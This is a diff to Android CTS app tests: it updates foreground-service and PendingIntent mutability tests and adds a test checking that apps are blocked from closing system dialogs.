// Start FGS in BG state.
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
// APP1 does not enter FGS state
try {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
fail("Service should not enter foreground service state");
} catch (Exception e) {
}
// Now it can start FGS.
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
runWithShellPermissionIdentity(()-> {
final BroadcastOptions options = BroadcastOptions.makeBasic();
// setTemporaryAppWhitelistDuration API requires
@@ -1041,30 +1116,31 @@
// START_FOREGROUND_SERVICES_FROM_BACKGROUND permission.
CommandReceiver.sendCommandWithBroadcastOptions(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null,
options.toBundle());
});
if (type == TEMPORARY_WHITELIST_TYPE_FOREGROUND_SERVICE_ALLOWED) {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// Stop the FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+ uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_CACHED_EMPTY);
} else if (type == TEMPORARY_WHITELIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED) {
// APP1 does not enter FGS state
try {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
- WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
fail("Service should not enter foreground service state");
} catch (Exception e) {
}
}
} finally {
uid1Watcher.finish();
- enableFgsRestriction(false, true, null);
- enableTempAllowList(false);
+ uid2Watcher.finish();
+ // Sleep 10 seconds to let the temp allowlist expire so it won't affect next test case.
+ SystemClock.sleep(10000);
}
}
@@ -1094,20 +1170,6 @@
}
/**
- * Turn on FGS BG-launch temp allowlist.
- * @param enable true to allow temp allowlist, falst to disallow.
- * @throws Exception
- */
- private void enableTempAllowList(boolean enable)
- throws Exception {
- runWithShellPermissionIdentity(() -> {
- DeviceConfig.setProperty("activity_manager",
- KEY_DEFAULT_FGS_STARTS_TEMP_ALLOWLIST_ENABLED,
- Boolean.toString(enable), false);
- });
- }
-
- /**
* SYSTEM_ALERT_WINDOW permission will allow both BG-activity start and BG-FGS start.
* Some cases we want to grant this permission to allow activity start to bring the app up to
* TOP state.
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index d4f0df3..c7fef24 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -580,8 +580,8 @@
Context context = mInstrumentation.getTargetContext();
ActivityOptions options = ActivityOptions.makeBasic();
Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
- options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
- 0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+ options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
// The application finished tracker.
ActivityReceiverFilter appEndReceiver = new ActivityReceiverFilter(ACTIVITY_EXIT_ACTION);
@@ -666,8 +666,8 @@
Context context = mInstrumentation.getTargetContext();
ActivityOptions options = ActivityOptions.makeBasic();
Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
- options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
- 0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+ options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
// The application started tracker.
ActivityReceiverFilter appStartedReceiver = new ActivityReceiverFilter(
@@ -714,8 +714,8 @@
Context context = mInstrumentation.getTargetContext();
ActivityOptions options = ActivityOptions.makeBasic();
Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
- options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
- 0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+ options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
// The application finished tracker.
ActivityReceiverFilter appEndReceiver = new ActivityReceiverFilter(
diff --git a/tests/app/src/android/app/cts/AlarmManagerTest.java b/tests/app/src/android/app/cts/AlarmManagerTest.java
index a0946a0..2a570d4 100644
--- a/tests/app/src/android/app/cts/AlarmManagerTest.java
+++ b/tests/app/src/android/app/cts/AlarmManagerTest.java
@@ -89,12 +89,12 @@
mIntent = new Intent(MOCKACTION)
.addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
- mSender = PendingIntent.getBroadcast(mContext, 0, mIntent, 0);
+ mSender = PendingIntent.getBroadcast(mContext, 0, mIntent, PendingIntent.FLAG_IMMUTABLE);
mMockAlarmReceiver = new MockAlarmReceiver(mIntent.getAction());
mIntent2 = new Intent(MOCKACTION2)
.addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
- mSender2 = PendingIntent.getBroadcast(mContext, 0, mIntent2, 0);
+ mSender2 = PendingIntent.getBroadcast(mContext, 0, mIntent2, PendingIntent.FLAG_IMMUTABLE);
mMockAlarmReceiver2 = new MockAlarmReceiver(mIntent2.getAction());
IntentFilter filter = new IntentFilter(mIntent.getAction());
@@ -310,7 +310,8 @@
final long wakeupTimeSecond = System.currentTimeMillis()
+ TEST_ALARM_FUTURITY;
PendingIntent showIntentSecond = PendingIntent.getBroadcast(getContext(), 0,
- new Intent(getContext(), AlarmManagerTest.class).setAction("SHOW_INTENT"), 0);
+ new Intent(getContext(), AlarmManagerTest.class).setAction("SHOW_INTENT"),
+ PendingIntent.FLAG_IMMUTABLE);
mAm.setAlarmClock(new AlarmClockInfo(wakeupTimeSecond, showIntentSecond),
mSender2);
diff --git a/tests/app/src/android/app/cts/ApplicationTest.java b/tests/app/src/android/app/cts/ApplicationTest.java
index 4b0fc78..548a37f 100644
--- a/tests/app/src/android/app/cts/ApplicationTest.java
+++ b/tests/app/src/android/app/cts/ApplicationTest.java
@@ -37,8 +37,8 @@
*/
public class ApplicationTest extends InstrumentationTestCase {
private static final String ERASE_FONT_SCALE_CMD = "settings delete system font_scale";
- // 2 is an arbitrary value.
- private static final String PUT_FONT_SCALE_CMD = "settings put system font_scale 2";
+ // 1.2 is an arbitrary value.
+ private static final String PUT_FONT_SCALE_CMD = "settings put system font_scale 1.2";
@Override
public void tearDown() throws Exception {
diff --git a/tests/app/src/android/app/cts/CloseSystemDialogsTest.java b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
new file mode 100644
index 0000000..7fefd24
--- /dev/null
+++ b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
@@ -0,0 +1,416 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static android.app.cts.NotificationManagerTest.toggleListenerAccess;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
+import android.app.cts.android.app.cts.tools.NotificationHelper;
+import android.app.stubs.TestNotificationListener;
+import android.app.stubs.shared.FakeView;
+import android.app.stubs.shared.ICloseSystemDialogsTestsService;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ResultReceiver;
+import android.provider.Settings;
+import android.view.Display;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CloseSystemDialogsTest {
+ private static final String TEST_SERVICE =
+ "android.app.stubs.shared.CloseSystemDialogsTestService";
+ private static final String APP_COMPAT_ENABLE = "enable";
+ private static final String APP_COMPAT_DISABLE = "disable";
+ private static final String APP_COMPAT_RESET = "reset";
+ private static final String ACTION_SENTINEL = "sentinel";
+ private static final String REASON = "test";
+ private static final long TIMEOUT_MS = 3000;
+
+ /**
+ * This test is not self-instrumenting, so we need to bind to the service in the instrumentation
+ * target package (instead of our package).
+ */
+ private static final String APP_SELF = "android.app.stubs";
+
+ /**
+ * Use com.android.app1 instead of android.app.stubs because the latter is the target of
+ * instrumentation, hence it also has shell powers for {@link
+ * Intent#ACTION_CLOSE_SYSTEM_DIALOGS} and we don't want those powers under simulation.
+ */
+ private static final String APP_HELPER = "com.android.app1";
+
+ private Instrumentation mInstrumentation;
+ private FutureServiceConnection mConnection;
+ private Context mContext;
+ private ContentResolver mResolver;
+ private ICloseSystemDialogsTestsService mService;
+ private volatile WindowManager mSawWindowManager;
+ private volatile Context mSawContext;
+ private volatile CompletableFuture<Void> mCloseSystemDialogsReceived;
+ private volatile ConditionVariable mSentinelReceived;
+ private volatile FakeView mFakeView;
+ private IntentReceiver mIntentReceiver;
+ private Handler mMainHandler;
+ private TestNotificationListener mNotificationListener;
+ private NotificationHelper mNotificationHelper;
+ private String mPreviousHiddenApiPolicy;
+
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mContext = mInstrumentation.getTargetContext();
+ mResolver = mContext.getContentResolver();
+ mMainHandler = new Handler(Looper.getMainLooper());
+ toggleListenerAccess(mContext, true);
+ mNotificationListener = TestNotificationListener.getInstance();
+ mNotificationHelper = new NotificationHelper(mContext, () -> mNotificationListener);
+ compat(APP_COMPAT_ENABLE, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+ setTargetCurrent();
+
+ // We need to test that a few hidden APIs are properly protected in the helper app. The
+ // helper app we're using doesn't have the checks disabled because it's not the target of
+ // instrumentation, see comment on APP_HELPER for details.
+ mPreviousHiddenApiPolicy = setHiddenApiPolicy("1");
+
+ // Add a receiver that will verify if the intent was sent or not
+ mIntentReceiver = new IntentReceiver();
+ mCloseSystemDialogsReceived = new CompletableFuture<>();
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);
+ filter.addAction(ACTION_SENTINEL);
+ mContext.registerReceiver(mIntentReceiver, filter);
+
+ // Add a view to verify if the view got the callback or not
+ mSawContext = getContextForSaw(mContext);
+ mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
+ mMainHandler.post(() -> {
+ mFakeView = new FakeView(mSawContext);
+ mSawWindowManager.addView(mFakeView, new LayoutParams(TYPE_APPLICATION_OVERLAY));
+ });
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (mConnection != null) {
+ mContext.unbindService(mConnection);
+ }
+ mMainHandler.post(() -> mSawWindowManager.removeViewImmediate(mFakeView));
+ mContext.unregisterReceiver(mIntentReceiver);
+ setHiddenApiPolicy(mPreviousHiddenApiPolicy);
+ compat(APP_COMPAT_RESET, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+ compat(APP_COMPAT_RESET, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+ compat(APP_COMPAT_RESET, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
+ mNotificationListener.resetData();
+ }
+
+ /** Intent.ACTION_CLOSE_SYSTEM_DIALOGS */
+
+ @Test
+ public void testCloseSystemDialogs_whenTargetSdkCurrent_isBlockedAndThrows() throws Exception {
+ mService = getService(APP_HELPER);
+
+ assertThrows(SecurityException.class, () -> mService.sendCloseSystemDialogsBroadcast());
+
+ assertCloseSystemDialogsNotReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogs_whenTargetSdk30_isBlockedButDoesNotThrow() throws Exception {
+ setTargetSdk30();
+ mService = getService(APP_HELPER);
+
+ mService.sendCloseSystemDialogsBroadcast();
+
+ assertCloseSystemDialogsNotReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogs_whenTestInstrumentedViaShell_isSent() throws Exception {
+ mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+
+ assertCloseSystemDialogsReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogs_whenRunningAsShell_isSent() throws Exception {
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS)));
+
+ assertCloseSystemDialogsReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogs_inTrampolineWhenTargetSdkCurrent_isBlockedAndThrows()
+ throws Exception {
+ int notificationId = 42;
+ CompletableFuture<Integer> result = new CompletableFuture<>();
+ mService = getService(APP_HELPER);
+
+ mService.postNotification(notificationId, new FutureReceiver(result));
+
+ mNotificationHelper.clickNotification(notificationId, /* searchAll */ true);
+ assertThat(result.get()).isEqualTo(
+ ICloseSystemDialogsTestsService.RESULT_SECURITY_EXCEPTION);
+ assertCloseSystemDialogsNotReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogs_inTrampolineWhenTargetSdk30_isSent() throws Exception {
+ setTargetSdk30();
+ int notificationId = 43;
+ CompletableFuture<Integer> result = new CompletableFuture<>();
+ mService = getService(APP_HELPER);
+
+ mService.postNotification(notificationId, new FutureReceiver(result));
+
+ mNotificationHelper.clickNotification(notificationId, /* searchAll */ true);
+ assertThat(result.get()).isEqualTo(
+ ICloseSystemDialogsTestsService.RESULT_OK);
+ assertCloseSystemDialogsReceived();
+ }
+
+ /** IWindowManager.closeSystemDialogs() */
+
+ @Test
+ public void testCloseSystemDialogsViaWindowManager_whenTestInstrumentedViaShell_isSent()
+ throws Exception {
+ mService = getService(APP_SELF);
+
+ mService.closeSystemDialogsViaWindowManager(REASON);
+
+ assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+ }
+
+ @Test
+ public void testCloseSystemDialogsViaWindowManager_whenRunningAsShell_isSent()
+ throws Exception {
+ mService = getService(APP_SELF);
+
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mService.closeSystemDialogsViaWindowManager(REASON));
+
+ assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+ }
+
+ @Test
+ public void testCloseSystemDialogsViaWindowManager_whenTargetSdkCurrent_isBlockedAndThrows()
+ throws Exception {
+ mService = getService(APP_HELPER);
+
+ assertThrows(SecurityException.class,
+ () -> mService.closeSystemDialogsViaWindowManager(REASON));
+
+ assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+ }
+
+
+ @Test
+ public void testCloseSystemDialogsViaWindowManager_whenTargetSdk30_isBlockedButDoesNotThrow()
+ throws Exception {
+ setTargetSdk30();
+ mService = getService(APP_HELPER);
+
+ mService.closeSystemDialogsViaWindowManager(REASON);
+
+ assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+ }
+
+ /** IActivityManager.closeSystemDialogs() */
+
+ @Test
+ public void testCloseSystemDialogsViaActivityManager_whenTestInstrumentedViaShell_isSent()
+ throws Exception {
+ mService = getService(APP_SELF);
+
+ mService.closeSystemDialogsViaActivityManager(REASON);
+
+ assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+ assertCloseSystemDialogsReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogsViaActivityManager_whenRunningAsShell_isSent()
+ throws Exception {
+ mService = getService(APP_SELF);
+
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mService.closeSystemDialogsViaActivityManager(REASON));
+
+ assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+ assertCloseSystemDialogsReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogsViaActivityManager_whenTargetSdkCurrent_isBlockedAndThrows()
+ throws Exception {
+ mService = getService(APP_HELPER);
+
+ assertThrows(SecurityException.class,
+ () -> mService.closeSystemDialogsViaActivityManager(REASON));
+
+ assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+ assertCloseSystemDialogsNotReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogsViaActivityManager_whenTargetSdk30_isBlockedButDoesNotThrow()
+ throws Exception {
+ setTargetSdk30();
+ mService = getService(APP_HELPER);
+
+ mService.closeSystemDialogsViaActivityManager(REASON);
+
+ assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+ assertCloseSystemDialogsNotReceived();
+ }
+
+ private void setTargetSdk30() {
+ // TODO(b/159105552): For now we emulate targetSdk 30 by force-disabling the feature.
+ // Remove this once the feature is enabled and use another app with lower targetSdk.
+ compat(APP_COMPAT_DISABLE, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+ compat(APP_COMPAT_DISABLE, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
+ }
+
+ private void setTargetCurrent() {
+ // TODO(b/159105552): For now we emulate current targetSdk by force-enabling the feature.
+ // Remove this once the feature is enabled by default.
+ compat(APP_COMPAT_ENABLE, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+ }
+
+ private void assertCloseSystemDialogsNotReceived() {
+ // If both broadcasts are sent, they will be received in order here since they are both
+ // registered receivers in the "bg" queue in system_server and belong to the same app.
+ // This is guaranteed by a series of handlers that are the same in both cases and due to the
+ // fact that the binder that system_server uses to call into the app is the same (since the
+ // app is the same) and one-way calls on the same binder object are ordered.
+ mSentinelReceived = new ConditionVariable(false);
+ Intent intent = new Intent(ACTION_SENTINEL);
+ intent.setPackage(mContext.getPackageName());
+ mContext.sendBroadcast(intent);
+ mSentinelReceived.block();
+ assertThat(mCloseSystemDialogsReceived.isDone()).isFalse();
+ }
+
+ private void assertCloseSystemDialogsReceived() throws Exception {
+ mCloseSystemDialogsReceived.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ // No TimeoutException thrown
+ }
+
+ private ICloseSystemDialogsTestsService getService(String packageName) throws Exception {
+ return ICloseSystemDialogsTestsService.Stub.asInterface(
+ connect(packageName).get(TIMEOUT_MS));
+ }
+
+ private FutureServiceConnection connect(String packageName) {
+ if (mConnection != null) {
+ return mConnection;
+ }
+ mConnection = new FutureServiceConnection();
+ Intent intent = new Intent();
+ intent.setComponent(ComponentName.createRelative(packageName, TEST_SERVICE));
+ assertTrue(mContext.bindService(intent, mConnection, Context.BIND_AUTO_CREATE));
+ return mConnection;
+ }
+
+ private String setHiddenApiPolicy(String policy) throws Exception {
+ return SystemUtil.callWithShellPermissionIdentity(() -> {
+ String previous = Settings.Global.getString(mResolver,
+ Settings.Global.HIDDEN_API_POLICY);
+ Settings.Global.putString(mResolver, Settings.Global.HIDDEN_API_POLICY, policy);
+ return previous;
+ });
+ }
+
+ private static void compat(String command, String changeId, String packageName) {
+ SystemUtil.runShellCommand(
+ String.format("am compat %s %s %s", command, changeId, packageName));
+ }
+
+ private static void compat(String command, long changeId, String packageName) {
+ compat(command, Long.toString(changeId), packageName);
+ }
+
+ private static Context getContextForSaw(Context context) {
+ DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+ Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
+ Context displayContext = context.createDisplayContext(display);
+ return displayContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null);
+ }
+
+ private class IntentReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ switch (intent.getAction()) {
+ case Intent.ACTION_CLOSE_SYSTEM_DIALOGS:
+ mCloseSystemDialogsReceived.complete(null);
+ break;
+ case ACTION_SENTINEL:
+ mSentinelReceived.open();
+ break;
+ }
+ }
+ }
+
+ private class FutureReceiver extends ResultReceiver {
+ private final CompletableFuture<Integer> mFuture;
+
+ FutureReceiver(CompletableFuture<Integer> future) {
+ super(mMainHandler);
+ mFuture = future;
+ }
+
+ @Override
+ protected void onReceiveResult(int resultCode, Bundle resultData) {
+ mFuture.complete(resultCode);
+ }
+ }
+}
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 3f6928f..f289557 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -21,6 +21,7 @@
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -49,6 +50,7 @@
import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
import org.junit.Before;
@@ -421,7 +423,13 @@
cursor.getColumnIndex(DownloadManager.COLUMN_STATUS)));
assertEquals(Uri.fromFile(expectedLocation).toString(),
cursor.getString(cursor.getColumnIndex(DownloadManager.COLUMN_LOCAL_URI)));
- assertTrue(expectedLocation.exists());
+
+ // Use shell to check if file is created as normal app doesn't have
+ // visibility to see other packages dirs.
+ String result = SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "file " + expectedLocation.getCanonicalPath());
+ assertFalse("Cannot create file in other packages",
+ result.contains("No such file or directory"));
} finally {
if (cursor != null) {
cursor.close();
diff --git a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
index f20113b..ca4ae73 100644
--- a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
+++ b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
@@ -30,6 +30,8 @@
import org.mockito.ArgumentCaptor;
+import java.util.concurrent.TimeUnit;
+
/**
* Tests Fragment's startActivityForResult and startIntentSenderForResult.
*/
@@ -55,7 +57,7 @@
startActivityForResult(10, Activity.RESULT_OK, "content 10");
ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
- verify(mFragment, times(1))
+ asyncVerifyOnce(mFragment)
.onActivityResult(eq(10), eq(Activity.RESULT_OK), captor.capture());
final String data = captor.getValue()
.getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -67,7 +69,7 @@
startActivityForResult(20, Activity.RESULT_CANCELED, "content 20");
ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
- verify(mFragment, times(1))
+ asyncVerifyOnce(mFragment)
.onActivityResult(eq(20), eq(Activity.RESULT_CANCELED), captor.capture());
final String data = captor.getValue()
.getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -79,7 +81,7 @@
startIntentSenderForResult(30, Activity.RESULT_OK, "content 30");
ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
- verify(mFragment, times(1))
+ asyncVerifyOnce(mFragment)
.onActivityResult(eq(30), eq(Activity.RESULT_OK), captor.capture());
final String data = captor.getValue()
.getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -91,7 +93,7 @@
startIntentSenderForResult(40, Activity.RESULT_CANCELED, "content 40");
ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
- verify(mFragment, times(1))
+ asyncVerifyOnce(mFragment)
.onActivityResult(eq(40), eq(Activity.RESULT_CANCELED), captor.capture());
final String data = captor.getValue()
.getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -130,6 +132,10 @@
getInstrumentation().waitForIdleSync();
}
+ private static <T> T asyncVerifyOnce(T mock) {
+ return verify(mock, timeout(TimeUnit.SECONDS.toMillis(10)).times(1));
+ }
+
private void startIntentSenderForResult(final int requestCode, final int resultCode,
final String content) {
getInstrumentation().runOnMainSync(new Runnable() {
@@ -140,7 +146,7 @@
intent.putExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT, content);
PendingIntent pendingIntent = PendingIntent.getActivity(mActivity,
- requestCode, intent, 0);
+ requestCode, intent, PendingIntent.FLAG_IMMUTABLE);
try {
mFragment.startIntentSenderForResult(pendingIntent.getIntentSender(),
diff --git a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
index 20bf336..0345030 100644
--- a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
+++ b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
@@ -111,10 +111,10 @@
final Intent testIntent = new Intent("testIntent");
final PendingIntent testPendingIntent =
PendingIntent.getBroadcast(mContext, 0, testIntent,
- PendingIntent.FLAG_CANCEL_CURRENT);
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
final PendingIntent testReplyPendingIntent =
PendingIntent.getBroadcast(mContext, 0, testIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
final RemoteInput testRemoteInput = new RemoteInput.Builder("key").build();
final UnreadConversation testConversation =
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index 8c2e89c..c879337 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -82,6 +82,7 @@
.build());
channel.setLightColor(Color.RED);
channel.setDeleted(true);
+ channel.setDeletedTimeMs(1000);
channel.setFgServiceShown(true);
channel.setVibrationPattern(new long[] {299, 4562});
channel.setBlockable(true);
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 8a8e0cd..a0acdb7 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -17,6 +17,9 @@
package android.app.cts;
import static android.app.Notification.FLAG_BUBBLE;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_ALL;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_NONE;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED;
import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
import static android.app.NotificationManager.IMPORTANCE_HIGH;
import static android.app.NotificationManager.IMPORTANCE_LOW;
@@ -45,6 +48,8 @@
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_OFF;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_ON;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_STATUS_BAR;
+import static android.app.cts.android.app.cts.tools.NotificationHelper.MAX_WAIT_TIME;
+import static android.app.cts.android.app.cts.tools.NotificationHelper.SHORT_WAIT_TIME;
import static android.app.stubs.BubblesTestService.EXTRA_TEST_CASE;
import static android.app.stubs.BubblesTestService.TEST_CALL;
import static android.app.stubs.BubblesTestService.TEST_MESSAGING;
@@ -70,6 +75,8 @@
import android.app.PendingIntent;
import android.app.Person;
import android.app.UiAutomation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
+import android.app.cts.android.app.cts.tools.NotificationHelper;
import android.app.stubs.AutomaticZenRuleActivity;
import android.app.stubs.BubbledActivity;
import android.app.stubs.BubblesTestService;
@@ -147,7 +154,6 @@
import java.util.Objects;
import java.util.Set;
import java.util.UUID;
-import java.util.concurrent.CompletableFuture;
